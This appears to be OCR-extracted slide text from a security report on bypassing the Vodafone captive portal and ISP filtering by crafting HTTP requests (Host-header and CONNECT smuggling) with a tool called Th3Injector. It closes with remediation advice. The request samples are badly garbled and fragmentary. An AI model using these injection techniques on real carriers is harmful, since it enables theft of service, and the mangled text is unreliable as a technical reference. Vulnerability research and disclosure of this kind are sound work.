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DETECT BYPASS VULNERABILITIES IN
CELLULAR ISP FILTERING SYSTEM
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Example

Host: www.google.com\r\n

\r\n\r\n
GET http://www.bing.com/ HTTP/1.1\r\n

Host: www.bing.com\r\n

\r\n

r which is responsible for URL
nt to access
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» Bypass Vodafone captive portal

Download status | Speed Limiter | Options on completion

s e S |

http://5.196.85.27/6jmn5yvotyazsaliwsady Sk Se 7pfbspw64dkx6auo 36 7pnspo4zimes 7bg/v flv
Status Receiving data...

File size
Downloaded
Transfer rate
Time left

Resume capability

852.408 MB
661.282 MB (74.10%)
814700 KB/sec
5min 31 sec
Yes

<< Hide details

Downloaded

15.637 MB
162.856 MB
468.922 MB
13.812 MB

Start positions and download progress by connections

Cancel

Testing and Remediation
results tips

Vodafone captive portal or paywall can be
bypassed by sending specially crafted HTTP
requests (injecting special characters to HTTP
request) and an attacker can get unlimited
browsing and downloading with zero balance.
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Real-life scenarios SRR
File HTTP Query HTTP Header Server Config

r Th3Injector v1.0 : ‘

e Social bundles hack

[Vodafone v || [2229.17.190 (3080
Listen Host [127.0.0.1 3080

172.20.10.2

.................................................
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DA\New folder (3)\Th3Injector v1.0\Apps\th3injector.exe

———+5end Specially Crafted Hequest:
sing Proxy — 2.229.17.178:-8060

ET http:=ssvuer.facehbook.coms HITP-1.1
ost: wuw.facehook.com

ET http:-svww.mans.edu.egstemplatessmans_ar~js more.jsz HITP-1.1
Accept—Language: en—US.en;qg=8.5

Accept—Encoding: g=ip,. deflate

onnection: close

Hocept = /%

zser—Agent: Mozilla 5.8 Windows NT 6.3; Wint4; xb64; rus4?_.8) Geckor20188181 Fir
efox-47.8

ost: wuyw._.mans.edu.eg

eferer: http: svuw_mans.edu.eqgs

DDE%E:3man3_ﬂr_tp1=mans_ﬂr; 1abehl13a75837a%9ded4288864dd126el1f =t4%dpilbbcrgkivbhal
puC o

——+Receive HResponse:

ITP-1.1 288 0K
Date: Sun, B3 Jul 2816 B4:51:880 GMT
Server: Apache

Last—Modified: Sat, 24 Aug 26013 11:51:280 GMT
ETag: “"6cB@?47-58d—-4e4bB243?fedd"’
Accept—Ranges: hytes
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Real-life scenarios Th3Injector v1.0
» Exploitation of an allowed URL on Vodafone FUETES

Th3Injector v1.0 -
File HTTP Cuery HTTP Header Server Config

Coustom Header 1

Header Value 1
Query

Front Query I

Coustom Header 2
Header Value 2
Coustom Header 3

Header Value 3

Coustom Header 4

Header Value 4

HOME

192.168.1.2
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DANew folder (3)\Th3Injector v1.0\Apps\th3injector.exe

——+Receive Hequest:

rom Address — 127.0.8.1:1886

OMMECT www.facebook.com:443 HTTPA1.1

ozt: wyw_facehook.com:443

zser—Agent: Mozillas5.8 <Windows NT 6.3; Winb4; x64; rv:id4?.60» Gecko-s201880181 Fir
efox 417 .8

onnection: keep—alive

roxy—Connection: keep—alive

——+5end Specially Crafted Request:

zing Proxy — 163.121.178.2:88804

ONNECT www.facebook.com:=-443 HITP-1.1

ost: wyw.google.comsfavicon.ico

ser—Agent: Mozillas5.8 (Windows HT 6.3; Winbt4; x64; rv:d4?. .82 Geckos20188181 Fir
efoxs47 .08

onnection: keep—alive

roxy—Connection: keep—alive

———+Receive Hesponse:
TTP-1.1 288 Connection Established
roxy—Agent: ThiInjectors1.8
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» To protect filtering system from attacks stated in this report then we should do the
following:

» Use web-servers that employ a strict HTTP parsing procedure, such as Apache.

» Allow only SSL communication (https instead of http).

» Update proxy server software to latest version and ask vendors for patches.

* Do not allow to access URL using a proxy server or make proper configurations for that.

* Turn off TCP connection sharing on the intermediate devices.



Conclusions and future work




